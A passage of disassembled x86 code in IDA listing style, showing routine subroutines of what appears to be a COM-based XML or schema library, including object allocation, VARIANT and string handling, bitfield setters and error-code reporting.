jz short loc_69B750B1
mov eax, [ecx]
push ebx
call dword ptr [eax+70h]
fstp [ebp+var_10]
mov ecx, edi
jmp short loc_69B7509F
; ---------------------------------------------------------------------------
loc_69B7504C: ; CODE XREF: sub_69B7500E+A0j
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+70h]
fstp [ebp+var_8]
fld [ebp+var_10]
fcomp [ebp+var_8]
fnstsw ax
test ah, 44h
jp short loc_69B75077
lea edi, [esi+2Ch]
mov ecx, [edi]
mov eax, [ecx]
push ebx
call dword ptr [eax+74h]
push eax
push edi
call sub_69B17320
jmp short loc_69B7509C
; ---------------------------------------------------------------------------
loc_69B75077: ; CODE XREF: sub_69B7500E+53j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+28h]
mov edi, eax
push ebx
lea eax, [edi+2Ch]
push eax
call sub_69B17320
fld [ebp+var_8]
push edi
fstp qword ptr [edi+38h]
push [ebp+arg_0]
mov ecx, [esi+28h]
call sub_69B72411
loc_69B7509C: ; CODE XREF: sub_69B7500E+67j
mov ecx, [ebp+arg_0]
loc_69B7509F: ; CODE XREF: sub_69B7500E+3Cj
push 3
push 0
push 0
call sub_69B6F425
mov ebx, eax
test ebx, ebx
jnz short loc_69B7504C
pop ebx
loc_69B750B1: ; CODE XREF: sub_69B7500E+1Cj
; sub_69B7500E+26j ...
pop edi
pop esi
leave
retn 8
sub_69B7500E endp
; =============== S U B R O U T I N E =======================================
sub_69B750B7 proc near ; DATA XREF: .text:69B1432Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
test byte ptr [esi+24h], 1
push edi
jz short loc_69B750E6
push 0
call sub_69B6934C
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
lea edi, [esi+2Ch]
push edi
call sub_69B17320
mov ecx, [edi]
jmp short loc_69B7511E
; ---------------------------------------------------------------------------
loc_69B750E6: ; CODE XREF: sub_69B750B7+Dj
cmp dword ptr [ebx+0A8h], 2
jz short loc_69B75128
push ebx
mov ecx, esi
call sub_69B74EDA
test al, al
jnz short loc_69B75128
mov eax, [esi+0Ch]
push 3
push dword_69B9B500
mov ecx, ebx
push eax
call sub_69B6F425
push eax
lea edi, [esi+2Ch]
push edi
call sub_69B17320
mov ecx, [edi]
test ecx, ecx
jz short loc_69B75145
loc_69B7511E: ; CODE XREF: sub_69B750B7+2Dj
mov eax, [ecx]
call dword ptr [eax+70h]
fstp qword ptr [esi+38h]
jmp short loc_69B75145
; ---------------------------------------------------------------------------
loc_69B75128: ; CODE XREF: sub_69B750B7+36j
; sub_69B750B7+42j
mov eax, [esi+0Ch]
push 2
push dword_69B9B500
mov ecx, ebx
push eax
call sub_69B6F425
push eax
lea edi, [esi+2Ch]
push edi
call sub_69B17320
loc_69B75145: ; CODE XREF: sub_69B750B7+65j
; sub_69B750B7+6Fj
xor eax, eax
cmp [edi], eax
jnz short loc_69B75166
cmp dword ptr [ebx+0A8h], 2
jz short loc_69B75166
push eax
push eax
push dword_69B9B500
push 0C00CE020h
call sub_69B6E277
loc_69B75166: ; CODE XREF: sub_69B750B7+92j
; sub_69B750B7+9Bj
push [esp+0Ch+arg_4]
mov ecx, esi
push ebx
call sub_69B7500E
pop edi
pop esi
pop ebx
retn 8
sub_69B750B7 endp
; =============== S U B R O U T I N E =======================================
sub_69B75178 proc near ; CODE XREF: sub_69B72411+Bp
arg_0 = dword ptr 4
push esi
lea esi, [ecx+30h]
mov eax, [esi]
test eax, eax
jnz short loc_69B751CC
test byte ptr [ecx+24h], 1
push edi
jnz short loc_69B751BD
mov edi, [esp+8+arg_0]
cmp dword ptr [edi+0A8h], 2
jz short loc_69B751BD
mov ecx, [ecx+0Ch]
push dword_69B9B490
mov eax, [ecx]
call dword ptr [eax+0A8h]
test eax, eax
jz short loc_69B751BD
mov ecx, [edi+68h]
push 1
push eax
push 0Bh
call sub_69B4DE11
mov eax, [eax+8]
jmp short loc_69B751C2
; ---------------------------------------------------------------------------
loc_69B751BD: ; CODE XREF: sub_69B75178+Fj
; sub_69B75178+1Cj ...
mov eax, dword_69B95A0C
loc_69B751C2: ; CODE XREF: sub_69B75178+43j
push eax
push esi
call sub_69B17320
mov eax, [esi]
pop edi
loc_69B751CC: ; CODE XREF: sub_69B75178+8j
pop esi
retn 4
sub_69B75178 endp
; =============== S U B R O U T I N E =======================================
sub_69B751D0 proc near ; CODE XREF: sub_69B758F7+3p
push esi
mov esi, ecx
lea eax, [esi+30h]
push eax
call sub_69B17230
lea eax, [esi+2Ch]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B7039F
sub_69B751D0 endp
; =============== S U B R O U T I N E =======================================
sub_69B751ED proc near ; CODE XREF: sub_69B725C0+75p
; sub_69B725C0+93p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 69B74F80 SIZE 00000032 BYTES
push 48h
call sub_69B17EF3
test eax, eax
jz short loc_69B751FF
mov ecx, eax
jmp loc_69B74F80
; ---------------------------------------------------------------------------
loc_69B751FF: ; CODE XREF: sub_69B751ED+9j
xor eax, eax
retn 0Ch
sub_69B751ED endp
; =============== S U B R O U T I N E =======================================
sub_69B75204 proc near ; CODE XREF: sub_69B7521B+95p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
push ecx
add ecx, 8Ch
call sub_69B70DF4
retn 8
sub_69B75204 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7521B proc near ; DATA XREF: .text:69B1627Co
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword ptr [edi+0A8h], 2
mov esi, ecx
mov [ebp+var_4], esi
jnz short loc_69B7524D
push [ebp+arg_4]
call sub_69B73078
xor ebx, ebx
push ebx
push eax
push edi
lea ecx, [edi+8Ch]
call sub_69B70DF4
jmp short loc_69B752B8
; ---------------------------------------------------------------------------
loc_69B7524D: ; CODE XREF: sub_69B7521B+16j
mov ecx, [esi+0Ch]
push dword_69B9B488
mov eax, [ecx]
call dword ptr [eax+0A8h]
xor ebx, ebx
mov esi, eax
cmp esi, ebx
push ebx ; int
push ebx ; int
jz short loc_69B75291
mov eax, [esi+8]
mov edx, [esi+0Ch]
mov ecx, [edi+68h]
push eax ; int
push edx ; lpString
call sub_69B4D560
mov [ebp+arg_0], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+30h]
cmp [ebp+arg_0], ebx
jnz short loc_69B752A1
push ebx
push ebx
push esi
push 0C00CE01Dh
jmp short loc_69B7529C
; ---------------------------------------------------------------------------
loc_69B75291: ; CODE XREF: sub_69B7521B+4Bj
push dword_69B9B488
push 0C00CE020h
loc_69B7529C: ; CODE XREF: sub_69B7521B+74j
call sub_69B6E277
loc_69B752A1: ; CODE XREF: sub_69B7521B+6Aj
push [ebp+arg_0]
mov ecx, [ebp+var_4]
push ebx
call sub_69B73078
push eax
mov ecx, edi
call sub_69B75204
mov esi, [ebp+var_4]
loc_69B752B8: ; CODE XREF: sub_69B7521B+30j
mov ecx, [esi+0Ch]
push ebx
mov edi, eax
mov eax, [ecx]
push ebx
call dword ptr [eax+4Ch]
push eax
mov ecx, edi
call sub_69B741F3
mov ecx, esi
call sub_69B72FFD
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B7521B endp
; =============== S U B R O U T I N E =======================================
sub_69B752DA proc near ; CODE XREF: sub_69B7267F+11Fp
; sub_69B72A73+153p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B16224 SIZE 00000018 BYTES
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B752EC
mov ecx, eax
jmp loc_69B16224
; ---------------------------------------------------------------------------
loc_69B752EC: ; CODE XREF: sub_69B752DA+9j
xor eax, eax
retn 4
sub_69B752DA endp
; =============== S U B R O U T I N E =======================================
sub_69B752F1 proc near ; CODE XREF: sub_69B75417+Ap
; sub_69B8ACCF+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
lea eax, [esi+esi*2]
lea eax, [ecx+eax*4]
push eax
call sub_69B17EF3
mov [eax+8], esi
pop esi
retn
sub_69B752F1 endp
; =============== S U B R O U T I N E =======================================
sub_69B7530B proc near ; CODE XREF: sub_69B75495+12p
; sub_69B754CF+19p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
mov esi, [esp+8+arg_0]
shl eax, 2
xor eax, [esi]
and eax, 7Ch
xor [esi], eax
mov ecx, [edi+8]
mov eax, [esi]
shr ecx, 15h
movzx ecx, cl
shl ecx, 7
xor ecx, eax
and ecx, 80h
xor ecx, eax
mov [esi], ecx
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0D4h]
xor ecx, ecx
mov ch, al
xor ecx, [esi]
and ecx, 100h
xor [esi], ecx
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0D8h]
movzx eax, al
shl eax, 9
xor eax, [esi]
mov ecx, edi
and eax, 200h
xor [esi], eax
mov eax, [edi]
call dword ptr [eax+3Ch]
pop edi
mov [esi+4], eax
pop esi
retn 8
sub_69B7530B endp
; =============== S U B R O U T I N E =======================================
sub_69B75380 proc near ; DATA XREF: .text:69B21ED8o
arg_4 = dword ptr 8
push esi
mov esi, [ecx+14h]
mov ecx, [ecx+18h]
add esi, 0Ch
test ecx, ecx
jz loc_69B75413
push edi
mov edi, ecx
loc_69B75395: ; CODE XREF: sub_69B75380+90j
mov eax, [esi]
mov ecx, eax
and ecx, 3
sub ecx, 0
jz short loc_69B753E1
dec ecx
jz short loc_69B753C8
dec ecx
jnz short loc_69B7540C
mov ecx, eax
shr ecx, 9
and ecx, 0FFFFFF01h
push ecx
push dword ptr [esi+4]
mov ecx, [esp+10h+arg_4]
shr eax, 2
and eax, 1Fh
push eax
call sub_69B6E6C4
jmp short loc_69B7540C
; ---------------------------------------------------------------------------
loc_69B753C8: ; CODE XREF: sub_69B75380+22j
mov ecx, [esp+8+arg_4]
shr eax, 9
push 0
and eax, 0FFFFFF01h
push eax
push dword ptr [esi+8]
call sub_69B6E79D
jmp short loc_69B7540C
; ---------------------------------------------------------------------------
loc_69B753E1: ; CODE XREF: sub_69B75380+1Fj
mov ecx, eax
shr ecx, 7
and ecx, 0FFFFFF01h
push ecx
mov ecx, eax
shr ecx, 8
and ecx, 0FFFFFF01h
push ecx
push dword ptr [esi+4]
mov ecx, [esp+14h+arg_4]
shr eax, 2
and eax, 1Fh
push eax
call sub_69B6E648
loc_69B7540C: ; CODE XREF: sub_69B75380+25j
; sub_69B75380+46j ...
add esi, 0Ch
dec edi
jnz short loc_69B75395
pop edi
loc_69B75413: ; CODE XREF: sub_69B75380+Cj
pop esi
retn 8
sub_69B75380 endp
; =============== S U B R O U T I N E =======================================
sub_69B75417 proc near ; CODE XREF: sub_69B75461+15p
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
push 10h
call sub_69B752F1
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_69B7543D
mov ecx, esi
call sub_69B19118
mov dword ptr [esi], offset off_69B21EE8
jmp short loc_69B7543F
; ---------------------------------------------------------------------------
loc_69B7543D: ; CODE XREF: sub_69B75417+15j
xor esi, esi
loc_69B7543F: ; CODE XREF: sub_69B75417+24j
push 0
push edi
push dword ptr [edi+8]
mov ecx, esi
push 0
call sub_69B2E6E3
pop edi
mov eax, esi
pop esi
retn 4
sub_69B75417 endp
; =============== S U B R O U T I N E =======================================
sub_69B75455 proc near ; DATA XREF: .text:69B21ED4o
push 0
add ecx, 14h
push ecx
call sub_69B17320
retn
sub_69B75455 endp
; =============== S U B R O U T I N E =======================================
sub_69B75461 proc near ; CODE XREF: sub_69B75495+3p
; sub_69B754B0p ...
push esi
mov esi, ecx
push edi
lea edi, [esi+14h]
mov ecx, [edi]
mov eax, [ecx+8]
cmp [esi+18h], eax
jl short loc_69B75482
lea eax, [eax+eax*2]
push eax
call sub_69B75417
push eax
push edi
call sub_69B17320
loc_69B75482: ; CODE XREF: sub_69B75461+Fj
mov ecx, [esi+18h]
mov edx, [edi]
lea eax, [ecx+ecx*2+3]
inc ecx
pop edi
mov [esi+18h], ecx
lea eax, [edx+eax*4]
pop esi
retn
sub_69B75461 endp
; =============== S U B R O U T I N E =======================================
sub_69B75495 proc near ; CODE XREF: sub_69B7298C+74p
; sub_69B7298C+C1p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B75461
push [esp+4+arg_0]
and dword ptr [eax], 0FFFFFFFCh
push eax
mov ecx, esi
call sub_69B7530B
pop esi
retn 4
sub_69B75495 endp
; =============== S U B R O U T I N E =======================================
sub_69B754B0 proc near ; CODE XREF: sub_69B7298C+7Fp
; sub_69B72E2D+7Fp ...
arg_0 = dword ptr 4
call sub_69B75461
mov ecx, [eax]
push [esp+arg_0]
and ecx, 0FFFFFF85h
or ecx, 5
mov [eax], ecx
add eax, 8
push eax
call sub_69B17320
retn 4
sub_69B754B0 endp
; =============== S U B R O U T I N E =======================================
sub_69B754CF proc near ; CODE XREF: sub_69B7298C+88p
; sub_69B72E2D+13Dp
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B75461
mov ecx, [eax]
push [esp+4+arg_0]
and ecx, 0FFFFFFFEh
or ecx, 2
mov [eax], ecx
push eax
mov ecx, esi
call sub_69B7530B
pop esi
retn 4
sub_69B754CF endp
; =============== S U B R O U T I N E =======================================
sub_69B754F1 proc near ; CODE XREF: sub_69B728E6+4p
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B75503
mov ecx, eax
jmp sub_69B21E58
; ---------------------------------------------------------------------------
loc_69B75503: ; CODE XREF: sub_69B754F1+9j
xor eax, eax
retn
sub_69B754F1 endp
; =============== S U B R O U T I N E =======================================
sub_69B75506 proc near ; DATA XREF: .text:69B1414Co
; .text:69B1630Co ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
lea eax, [esi+14h]
push eax
call sub_69B17230
mov ecx, esi
call sub_69B186FA
test [esp+4+arg_0], 1
jz short loc_69B75526
push esi
call sub_69B1829F
loc_69B75526: ; CODE XREF: sub_69B75506+18j
mov eax, esi
pop esi
retn 4
sub_69B75506 endp
; =============== S U B R O U T I N E =======================================
sub_69B7552C proc near ; DATA XREF: .text:69B21F24o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov ecx, [esp+4+arg_0]
call sub_69B7553C
retn 8
sub_69B7552C endp
; =============== S U B R O U T I N E =======================================
sub_69B7553C proc near ; CODE XREF: sub_69B7552C+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov ecx, [eax]
xor ecx, [esi]
and ecx, 3
xor [esi], ecx
mov edx, [esi]
mov ecx, [eax]
xor ecx, edx
and ecx, 7Ch
xor ecx, edx
mov [esi], ecx
mov edx, [eax]
xor edx, ecx
and edx, 80h
xor edx, ecx
mov [esi], edx
mov ecx, [eax]
xor ecx, edx
and ecx, 100h
xor ecx, edx
mov [esi], ecx
mov edx, [eax]
xor edx, ecx
and edx, 200h
xor edx, ecx
mov [esi], edx
mov ecx, [eax+4]
mov [esi+4], ecx
push dword ptr [eax+8]
lea eax, [esi+8]
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 4
sub_69B7553C endp
; =============== S U B R O U T I N E =======================================
sub_69B7559B proc near ; DATA XREF: .text:69B21F1Co
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
jz short loc_69B755BA
push ebx
push edi
lea edi, [esi+14h]
mov ebx, eax
loc_69B755AC: ; CODE XREF: sub_69B7559B+1Bj
push edi
call sub_69B17230
add edi, 0Ch
dec ebx
jnz short loc_69B755AC
pop edi
pop ebx
loc_69B755BA: ; CODE XREF: sub_69B7559B+8j
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B7559B endp
; =============== S U B R O U T I N E =======================================
sub_69B755C2 proc near ; CODE XREF: sub_69B7564C+3p
push esi
mov esi, ecx
lea eax, [esi+14h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B755C2 endp
; =============== S U B R O U T I N E =======================================
sub_69B755D6 proc near ; CODE XREF: sub_69B72A73+175p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B16284 SIZE 0000001A BYTES
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B755E8
mov ecx, eax
jmp loc_69B16284
; ---------------------------------------------------------------------------
loc_69B755E8: ; CODE XREF: sub_69B755D6+9j
xor eax, eax
retn 4
sub_69B755D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B755ED proc near ; DATA XREF: .text:69B162D8o
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_10], 0
push esi
lea eax, [ebp+var_10]
push eax
push [ebp+arg_4]
mov esi, ecx
mov [ebp+var_C], 0
call sub_69B70068
mov ecx, [ebp+var_8]
mov eax, [ecx]
call dword ptr [eax+3Ch]
test eax, eax
jz short loc_69B7563F
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+3Ch]
test eax, eax
jz short loc_69B7563F
mov ecx, [esi+10h]
mov edx, [eax]
shr ecx, 1
and ecx, 0FFFFFF01h
push 0
push ecx
mov ecx, eax
call dword ptr [edx+2Ch]
mov ecx, [ebp+arg_4]
push eax
call sub_69B6E79D
loc_69B7563F: ; CODE XREF: sub_69B755ED+27j
; sub_69B755ED+32j
lea ecx, [ebp+var_10]
call sub_69B466CC
pop esi
leave
retn 8
sub_69B755ED endp
; =============== S U B R O U T I N E =======================================
sub_69B7564C proc near ; DATA XREF: .text:69B162ACo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B755C2
test [esp+4+arg_0], 1
jz short loc_69B75661
push esi
call sub_69B1829F
loc_69B75661: ; CODE XREF: sub_69B7564C+Dj
mov eax, esi
pop esi
retn 4
sub_69B7564C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B75667 proc near ; DATA XREF: .text:69B16338o
pvarg = VARIANTARG ptr -10h
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, ecx
mov ecx, [ebp+arg_4]
call sub_69B6F448
mov ecx, [esi+0Ch]
mov eax, [ecx]
push 0
push 0
call dword ptr [eax+4Ch]
and word ptr [ebp+pvarg.anonymous_0], 0
lea ecx, [ebp+pvarg]
push ecx ; pvarg
mov ecx, [esi+14h]
push 8 ; vt
push eax ; int
push [ebp+arg_4] ; int
call sub_69B7401B
xor eax, eax
mov al, [esi+18h]
push eax
mov eax, [esi+10h]
shr eax, 1
and eax, 0FFFFFF01h
push eax
push dword ptr [ebp+pvarg.anonymous_0+8] ; BSTR
call SysStringLen
mov ecx, [ebp+arg_4]
push eax
push dword ptr [ebp+pvarg.anonymous_0+8]
call sub_69B6E739
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
pop esi
leave
retn 8
sub_69B75667 endp
; =============== S U B R O U T I N E =======================================
sub_69B756D0 proc near ; DATA XREF: .text:69B14174o
; .text:69B162D4o ...
push esi
mov esi, ecx
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B72FDD
sub_69B756D0 endp
; =============== S U B R O U T I N E =======================================
sub_69B756E6 proc near ; DATA XREF: .text:69B1633Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
call sub_69B73078
push 0
push eax
mov eax, [esp+0Ch+arg_0]
push eax
lea ecx, [eax+8Ch]
call sub_69B70DF4
push eax
lea eax, [esi+14h]
push eax
call sub_69B17320
mov ecx, [esi+0Ch]
push dword_69B9B4C8
mov eax, [ecx]
call dword ptr [eax+0A4h]
test eax, eax
setnz al
mov ecx, esi
mov [esi+18h], al
call sub_69B72FFD
pop esi
retn 8
sub_69B756E6 endp
; =============== S U B R O U T I N E =======================================
sub_69B75733 proc near ; CODE XREF: sub_69B72A73+165p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B162E4 SIZE 0000001C BYTES
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B75745
mov ecx, eax
jmp loc_69B162E4
; ---------------------------------------------------------------------------
loc_69B75745: ; CODE XREF: sub_69B75733+9j
xor eax, eax
retn 4
sub_69B75733 endp
; =============== S U B R O U T I N E =======================================
sub_69B7574A proc near ; CODE XREF: sub_69B7577A+25p
; sub_69B7577A+70p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
movsx edx, word ptr [eax+30h]
imul edx, 1Ch
push esi
mov esi, [eax+24h]
cmp [edx+esi-24h], ecx
pop esi
jnz short loc_69B75770
mov eax, [eax+28h]
mov ecx, [eax+18h]
mov eax, [ecx]
call dword ptr [eax+0D8h]
jmp short locret_69B75777
; ---------------------------------------------------------------------------
loc_69B75770: ; CODE XREF: sub_69B7574A+14j
mov eax, [ecx+10h]
shr eax, 1
and al, 1
locret_69B75777: ; CODE XREF: sub_69B7574A+24j
retn 4
sub_69B7574A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7577A proc near ; DATA XREF: .text:69B16398o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push ebx
xor ebx, ebx
sub eax, ebx
push esi
mov esi, [ebp+arg_4]
mov [ebp+var_4], ecx
jz short loc_69B75797
dec eax
jz short loc_69B757BF
dec eax
jz short loc_69B757D8
jmp short loc_69B757E6
; ---------------------------------------------------------------------------
loc_69B75797: ; CODE XREF: sub_69B7577A+13j
mov eax, [esi+28h]
push edi
mov edi, [eax+18h]
push esi
call sub_69B7574A
mov ecx, edi
push eax
mov eax, [edi]
call dword ptr [eax+0D4h]
mov ecx, esi
push eax
push ebx
push 0FFFFFFFFh
call sub_69B6F979
test al, al
pop edi
jz short loc_69B757F7
loc_69B757BF: ; CODE XREF: sub_69B7577A+16j
push ebx
push ebx
push 1
mov ecx, esi
call sub_69B6F0B5
test eax, eax
jz short loc_69B757F7
mov eax, [esi+20h]
mov dword ptr [eax+0Ch], 2
loc_69B757D8: ; CODE XREF: sub_69B7577A+19j
push ebx
push ebx
push ebx
mov ecx, esi
call sub_69B6F0B5
test eax, eax
jz short loc_69B757F7
loc_69B757E6: ; CODE XREF: sub_69B7577A+1Bj
mov ecx, [ebp+var_4]
push esi
call sub_69B7574A
mov ecx, esi
push eax
call sub_69B6F28B
loc_69B757F7: ; CODE XREF: sub_69B7577A+43j
; sub_69B7577A+52j ...
pop esi
pop ebx
leave
retn 8
sub_69B7577A endp
; =============== S U B R O U T I N E =======================================
sub_69B757FD proc near ; DATA XREF: .text:69B16424o
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
mov esi, ecx
mov ecx, edi
call sub_69B712A4
test eax, eax
mov ecx, [esp+8+arg_4]
jnz short loc_69B7581D
mov eax, [edi]
mov [ecx+18h], eax
xor eax, eax
jmp short loc_69B75823
; ---------------------------------------------------------------------------
loc_69B7581D: ; CODE XREF: sub_69B757FD+15j
mov [ecx+18h], eax
mov eax, [esi+30h]
loc_69B75823: ; CODE XREF: sub_69B757FD+1Ej
pop edi
pop esi
retn 0Ch
sub_69B757FD endp
; =============== S U B R O U T I N E =======================================
sub_69B75828 proc near ; CODE XREF: sub_69B75912-5F549p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B16344 SIZE 00000018 BYTES
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B7583A
mov ecx, eax
jmp loc_69B16344
; ---------------------------------------------------------------------------
loc_69B7583A: ; CODE XREF: sub_69B75828+9j
xor eax, eax
retn 4
sub_69B75828 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7583F proc near ; CODE XREF: sub_69B75929+10p
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, ecx
xor ebx, ebx
lea ecx, [esi+10h]
mov eax, [ecx]
push 0FFFFFFFFh
push ebx
mov [ebp+var_10], ebx
mov [ebp+var_C], bl
call dword ptr [eax+4]
mov ecx, [edi+2Ch]
lea edx, [ebp+var_10]
push edx
mov edx, [esi+28h]
push dword ptr [edx+18h]
mov [ebp+arg_0], eax
push [ebp+arg_0]
mov eax, [ecx]
lea edx, [esi+10h]
push edx
call dword ptr [eax+54h]
cmp [ebp+var_10], 6
jz short loc_69B7589B
mov eax, [edi+10h]
shr eax, 1
push ebx
and eax, 0FFFFFF01h
push eax
lea eax, [ebp+var_10]
push eax
mov ecx, esi
call sub_69B6E85D
jmp short loc_69B7589E
; ---------------------------------------------------------------------------
loc_69B7589B: ; CODE XREF: sub_69B7583F+41j
mov ebx, [ebp+var_8]
loc_69B7589E: ; CODE XREF: sub_69B7583F+5Aj
lea ecx, [ebp+var_10]
call sub_69B466CC
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn 4
sub_69B7583F endp
; =============== S U B R O U T I N E =======================================
sub_69B758AF proc near ; DATA XREF: .text:69B1641Co
arg_0 = dword ptr 4
push esi
push edi
push 8
push dword_69B9B508
mov esi, ecx
mov eax, [esi+0Ch]
mov ecx, [esp+10h+arg_0]
push eax
call sub_69B6EA8E
push eax
lea edi, [esi+2Ch]
push edi
call sub_69B17320
xor eax, eax
cmp [edi], eax
jnz short loc_69B758EA
push eax
push eax
push dword_69B9B508
push 0C00CE020h
call sub_69B6E277
loc_69B758EA: ; CODE XREF: sub_69B758AF+27j
push dword ptr [esi+0Ch]
call sub_69B6FED3
pop edi
pop esi
retn 8
sub_69B758AF endp
; =============== S U B R O U T I N E =======================================
sub_69B758F7 proc near ; DATA XREF: .text:69B142DCo
; .text:69B163ECo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B751D0
test [esp+4+arg_0], 1
jz short loc_69B7590C
push esi
call sub_69B1829F
loc_69B7590C: ; CODE XREF: sub_69B758F7+Dj
mov eax, esi
pop esi
retn 4
sub_69B758F7 endp
; =============== S U B R O U T I N E =======================================
sub_69B75912 proc near ; CODE XREF: sub_69B72A73+F8p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B163A4 SIZE 00000038 BYTES
push 34h
call sub_69B17EF3
test eax, eax
jz short loc_69B75924
mov ecx, eax
jmp loc_69B163A4
; ---------------------------------------------------------------------------
loc_69B75924: ; CODE XREF: sub_69B75912+9j
xor eax, eax
retn 4
sub_69B75912 endp
; =============== S U B R O U T I N E =======================================
sub_69B75929 proc near ; DATA XREF: .text:69B16418o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
push edi
mov edi, [esp+8+arg_4]
mov esi, ecx
jnz short loc_69B7594B
push edi
call sub_69B7583F
test eax, eax
jz short loc_69B75965
push eax
push edi
mov ecx, esi
call sub_69B72316
loc_69B7594B: ; CODE XREF: sub_69B75929+Dj
push dword ptr [esi+30h]
mov ecx, edi
push 1
push 0
call sub_69B6F0B5
test eax, eax
jz short loc_69B75965
push edi
mov ecx, esi
call sub_69B725AD
loc_69B75965: ; CODE XREF: sub_69B75929+17j
; sub_69B75929+32j
pop edi
pop esi
retn 8
sub_69B75929 endp
; =============== S U B R O U T I N E =======================================
sub_69B7596A proc near ; DATA XREF: .text:69B16498o
arg_4 = dword ptr 8
xor eax, eax
mov al, [ecx+18h]
push eax
mov eax, [ecx+10h]
shr eax, 1
and eax, 0FFFFFF01h
push eax
push dword ptr [ecx+14h]
mov ecx, [esp+0Ch+arg_4]
call sub_69B6E79D
retn 8
sub_69B7596A endp
; =============== S U B R O U T I N E =======================================
sub_69B7598A proc near ; CODE XREF: sub_69B72A73+CEp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B16440 SIZE 0000001C BYTES
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B7599C
mov ecx, eax
jmp loc_69B16440
; ---------------------------------------------------------------------------
loc_69B7599C: ; CODE XREF: sub_69B7598A+9j
xor eax, eax
retn 4
sub_69B7598A endp
; =============== S U B R O U T I N E =======================================
sub_69B759A1 proc near ; DATA XREF: .text:69B1649Co
mov eax, dword_69B9B4B8
push ebx
push esi
push edi
mov edi, ecx
mov esi, [edi+0Ch]
mov edx, [esi]
push eax
mov ecx, esi
mov ebx, eax
call dword ptr [edx+0A4h]
push eax
push ebx
call sub_69B6FF5F
mov ecx, edi
mov [edi+18h], al
call sub_69B72FFD
mov eax, [esi]
push 1
push 0
mov ecx, esi
call dword ptr [eax+4Ch]
push eax
add edi, 14h
push edi
call sub_69B17320
mov eax, [edi]
cmp dword ptr [eax+8], 0
jnz short loc_69B75A05
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0D4h]
test al, al
jz short loc_69B75A05
push 20h
call sub_69B2F3BE
push eax
push edi
call sub_69B17320
loc_69B75A05: ; CODE XREF: sub_69B759A1+46j
; sub_69B759A1+54j
pop edi
pop esi
pop ebx
retn 8
sub_69B759A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
